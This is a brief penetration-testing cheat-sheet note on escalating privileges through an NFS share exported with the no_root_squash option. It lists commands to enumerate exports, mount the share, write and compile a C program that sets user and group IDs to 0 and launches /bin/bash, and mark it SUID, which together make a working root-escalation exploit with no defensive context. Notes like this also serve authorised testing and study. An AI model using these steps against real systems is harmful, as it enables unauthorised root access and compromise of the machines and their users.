no_root_squash
has to be as an option on the NFS deviceshowmount -e <target-IP>
mkdir /tmp/net_volume
Connect to NFS share
mount -o rw,vers=2 <nfsShare-IP>:/tmp /tmp/net_volume
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/net_volume/shell.c
gcc /tmp/net_volume/shell.c -o /tmp/net_volume/shell
chmod +s /tmp/net_volume/shell